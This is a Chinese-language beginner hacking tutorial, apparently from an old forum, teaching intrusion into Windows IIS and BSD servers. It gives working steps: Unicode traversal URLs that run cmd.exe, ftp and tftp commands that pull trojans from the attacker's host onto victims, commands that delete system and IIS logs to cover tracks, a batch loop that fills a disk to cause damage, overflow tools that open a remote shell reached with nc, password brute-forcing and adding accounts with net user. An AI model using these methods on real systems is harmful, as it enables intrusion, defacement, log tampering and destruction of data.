基础知识(3)
上传,这个我们后面介绍。
几点忠告:
1,对于没有主页的机器(就是正在建立的主页),不要改它,这很没水准,也很没道德
2,echo前记得帮他们做好备份
3,不准在主页里加入恶性语句
2,下载文件
要是有什么有用的文件被你发现,那我们如何下载呢?
最简单的方法:把文件copy至网页目录下。copy c:\email\baby.eml c:\inetpub\wwwroot\baby.zip,然后,下载11.11.22.22/baby.zip就行了,注意!实际应用中要记得对文件名进行修改,总之不能暴露。
别的方法:对不起,没想好:)
3,最重要的上传
一般方法:ftp法
首先建一个ftp脚本文件:c:\hehe.haha(名字乱取把),申请一个ftp账号,然后用echo吧
echo+open ftp.cshu.com(ftp主机) > c:\hehe.haha
echo+user yourname >> cc:\hehe.haha (yourname是用户名)
echo+yourpasswd >> c:\hehe.haha (yourpasswd是密码)
echo+get setup.exe >> c:\hehe.haha 要下载的文件
echo+quit >> c:\hehe.haha
完了以后:ftp+/s:c:\hehe.haha,由于是ftp主机,那么速度一定很快,过一会setup.exe就会出现在当前目录了(也就是cmd所在目录)
别忘了先上传到ftp主机,不要做马大哈哦!
最简单的方法:tftp法。
这种方法不用中转服务器,首先准备一个tftp服务端,它的作用就是把你的机器做成一个tftp服务器,利用漏洞机器来下载(注意,运行tftp时不要运行其他的ftp软件)
在这里我推荐cisco tftp server,自己去找找把,实在没有来找我:)
安装好后运行,别忘了设置好默认目录,否则会找不到文件
tftp命令:tftp -i 1.2.3.4 GET ihateu.exe c:\winnt\ihateu.exe(ihateu.exe在默认目录里)
1.2.3.4为你的ip,用unicode运行一下,会看到tftp server里有反应了,这就好了,不一会,文件就传上去了,方便把!
学会了上传,我们就可以好好改主页,还可以上传木马,还可以把程序放上去运行…………(运行程序和在dos里一样)
4,如何清除痕迹
虽然国内主机纪录ip的不是很多,但万事小心为妙,unicode权限达不到admin。用cleaniislog行不通,就…………直接删吧!
C:\winnt\system32\logfiles\*.*
C:\winnt\ssytem32\config\*.evt
C:\winnt\system32\dtclog\*.*
C:\winnt\system32\*.log
C:\winnt\system32\*.txt
C:\winnt\*.txt
C:\winnt\*.log
全……擦掉!
四,细节问题。
1,遇到长文件名怎么办?
c:\program files\
就用c:\"program20%files"\
2,遇到空格怎么办?
%代替喽,或者xx yy=xxyy~1
基础知识(5)
%代替喽,或者xx yy=xxyy~1
3,如何做个很大的文件?
目的就是破坏啦!我不喜欢不过教教你们啦
@echo off
echo big > c:\a.a
:h
copy c:\a.a+c:\a.a c:\a.a
goto h
注意不要乱来啊!
4,输入命令,没反应或反应不对。
:)请检查检查再检查命令的正确性,可能没有漏洞,那就闪人!看在你看到这里那么给我面子的份上,在给你几个吧!
http://www.exsample.com/scripts/ ... macr;..À
¯../winnt/system32/cmd.exe?/c+dir+c :\ 或
http://www.exsample.com/msadc/.. ... 2/cmd.exe?/c+dir+c:\ 或
http://www.exsample.com/_vti_bin ... 2/cmd.exe?/c+dir+c:\ 或
http://www.exsample.com/_mem_bin ... 2/cmd.exe?/c+dir+c:\
不一定有用哦!
5,如何找到unicode漏洞的主机
呵呵:)最好的方法自然是………………一个一个ping,一个一个试喽:)
不要打我呀!我说我说。最好找一个cgi扫描器,unicode查找器多如牛毛,随便找个吧!
6,我copy,del文件,怎么显示aceess denined?
这个不好办了,由于unicode所拥有的权限有限,出现上述情况很正常,我们要做的便是提高自己的权限!
这个我会在今后介绍,现在你可以试试attrib
attrib -r -h -s c:\autoexec.bat
再对autoexec.bat进行操作,看看有没有效果,成功率不高,不好意思!
7,我黑了主页,天下无敌?
我本来想对你说:“见你的鬼去吧!”不过想想不大礼貌,有失我绅士风度,所以改个口
echo主页或改主页在不懂黑客的人看起来很了不起,不过,它最多算是一个基础,拿到admin才是我们的终极目标!
对cshu全体成员来说,不准去改正在建立的网页!这是我们的原则!
要是你想耍耍威风,那也可以理解,那就去黑外国的,或者url欺骗也是个好选择
8,我如何做更多的事?
第一,努力提高权限
第二,由于cmd的限制,我们可以做的不多,那就要程序帮忙,上传吧!切记,要隐秘!
一,frontpage扩展攻击。
为什么把它放第一位呢?原因很简单,它最最方便,frontpage服务器扩展是一种方便的远程站点管理功能,可是由于某些网管注意文明用语的疏忽(为什么注意文明用语满街飞?)不设置访问密码,如果那样的话,我们只要用一个frontpage就可以黑它了!!这完全不是黑客工具,但它确实办到了,还要感谢注意文明用语网管和微软啊!
具体做法:
1,准备frontpage,我是用dreamweaver的,但它不能黑啊:)最好是2000版,只是不要是老掉牙的版本就行了。
2,找一台有frontpage扩展的主机,可以用流光,也可以用搜索引擎查找/_vti_pvt/,这是frontpage扩展的标志。
3,接下来打开frontpage,(妈妈:你在干什么?回答:做网页!妈妈:好孩子!)文件菜单下选择“打开站点”,然后在文件夹框里写入
http://11.11.22.22(我习惯用这个做例子,以...僮魍?澄募?恕?/a>
4,万一跳出错误信息,表示有密码(这个不算注意文明用语)这时我们试着用以下url,
http://11.11.22.22/_vti_pvt/service.pwd,这...盎箍梢愿耐?场?/a>
我的看法:
这个漏洞只能说明网管的疏忽,对我们而言是没有什么利用价值的,只可以改改网页,也许这也够了,但要进一步控制主机,此漏洞就无能为力。消遣时可以玩玩。
二,iis.printer溢出攻击
据说缓冲区溢出攻击是黑客入侵时70%所选的方法,看起来有点夸张,但确实有道理,因为暴力密码破解在网络上变得非常之慢,而像unicode的解码漏洞所取得的权限又太低,而缓冲区溢出一般可取得system权限,是非常有用的!
具体原理我也不是很清楚,只能说个大概:当我们向系统发出超出缓冲区大小的数据处理请求时,便会引发溢出,并弹出错误对话框,我们常看到的“非法操作”其实也是可能是由于溢出。而当溢出时,eip发生错误,有汇编知识的朋友应该记得,eip是控制执行代码的位置(顺便问一下,有没有会crack的高人,记得做我老师)这时加入一段恶性代码,算好发生溢出时的eip值,这样溢出时就会执行恶性代码而不是当掉。非法操作我们知道多的不得了,因此……溢出攻击是非常强大的!
由于汇编对于我们来说较难掌握,加之对溢出的了解很有限,那么我们只能借助高手们的程序来黑了。
具体方法:
1,准备iishack,本站有下载,该版本可以对多种系统进行攻击。
2,用x-scan或流光扫描一个有iis.printer漏洞的主机,然后就可以攻击了。
3,在命令行方式执行iis5hack (主机ip) (端口号,默认80)(系统代号,具体可参考程序的说明) ( shell口)
例如:iis5hack 11.11.22.22 80 1 111(以为在111端口开一个shell)
4,用nc或telnet连上,nc/telnet 11.11.22.22 111,成功的话就可以控制机器了,加个用户,做个*****……
我的看法:
这算是一个比较有用的漏洞了,它能帮助我们取得system权限,其实和admin差不了多少了,对于做一台跳板是非常有利的,希望大家熟练掌握。
三,idq/ida漏洞溢出攻击
这是时下很热门的了,原理和上面的printer相似,目前我只找到了iis5的攻击程序,在cshu里也可以找到的,我们准备的是snake的gui版本,很方便的。
具体方法:
1,准备snakeiis溢出程序。可以从本站下载。
2,ida/idq漏洞很多的,但win2k的服务器就不是那么普遍了,所以用你熟练的扫描器去找一打win2k的机器吧。
3,程序的界面是很傻瓜的,把ip填入,选择好类型,按下溢出按钮,显示shellcode发送完毕。
4,telnet/nc到你设定好的端口,如果成功的话,会显示目录下的信息(因为默认shellcode是dir)
5,欢呼吧!再次溢出,别忘了改shellcode为你想要的代码哦。
6,重复4,很快一台新鲜的win2k被你控制了!
我的看法:
我很喜欢用这种攻击,因为win2k的3389可以很方便的为我做事,省力地搞到一台win2k,然后慢慢享用,爽到根尖细胞啊!大家应该掌握这项方法。
四,*bsd telnetd溢出攻击
又是溢出,不过这个可是真正的热点哦,最近红盟等大型安全网站被黑就是因为这个!所以看看吧
具体方法:
1,使用fbsdhack for win2k来攻击,本站有下载的
2,还是要找到这样的主机,一般是xnix的,比较少的,用专门的扫描器吧,我会在不久放出来。
3,等吧!这个漏洞要发送的信息很大,大约16mb,可怕吧,所以最好用高速肉鸡
4,有幸成功了,记得请我吃饭!
我的看法:
这个漏洞的利用比较有难度,从找机器开始就是。但作为黑客爱好者,我们没有理由去回避它!
五,密码暴力破解
这是最最原始,也是最最基本的攻击的方式了,利用字典文件或暴力模式,对密码进行探测。费时费力,但若有经验的话,可以缩短这一过程。
具体方法:
1,找一个破解器,有ftp,http,smtp,pop3,telnet等等类型。
2,找到一台相应的主机。
3,设定一番,上路吧!你可以睡觉,可以去machine(就是做作业),可以去泡妞……就是不要傻等。为什么呢?因为会伤视力的:)怎么倒了一片,起来起来!
4,万一成功了(之所以用这个词,是因为成功率很低的)表明你运气旺,赶紧下线,买彩票去吧
大家好,这几天被cgi程序搞得头昏脑胀,主要还是51的错,什么破东西,那么多错误!现在只好暂时借人家的地方用。
这是菜鸟操的最后第二节,说实话我还可以写很多的,但是作业还欠了一大堆:(为什么我没有满舟的狗屎运?算了算了,我不合那种欺世盗名之辈一般见识,开始做操吧!
不知道大家对unicode和溢出攻击是不是熟练了?没有的要加油哦!今天我们来谈谈权限的提升。
在windows系统中,最高的权限掌握在administrators的手里,在xnix中称为root,我们要完全掌握一台机器,拿到admin是不可或缺的。
首先说说最简单的:system to admin
当我们用溢出攻击成功后,其实我们已经拿到了system权限(具体看每种攻击而可能有所不同)这时我们很容易拿到admin权限。首先看看一下命令:
net user 察看用户表 net user username pass /add(添加密码为pass的用户username)
net localgroup 察看组 net localgroup guests cshu /add 把cshu用户加入guests组
net use \\ip\ipc$ "password" /user:username 这是远程连接的命令
假如我们溢出了11.11.22.22,那么这样做吧!
net user (看到了iusr_machinename的用户了,它一般没什么权限的)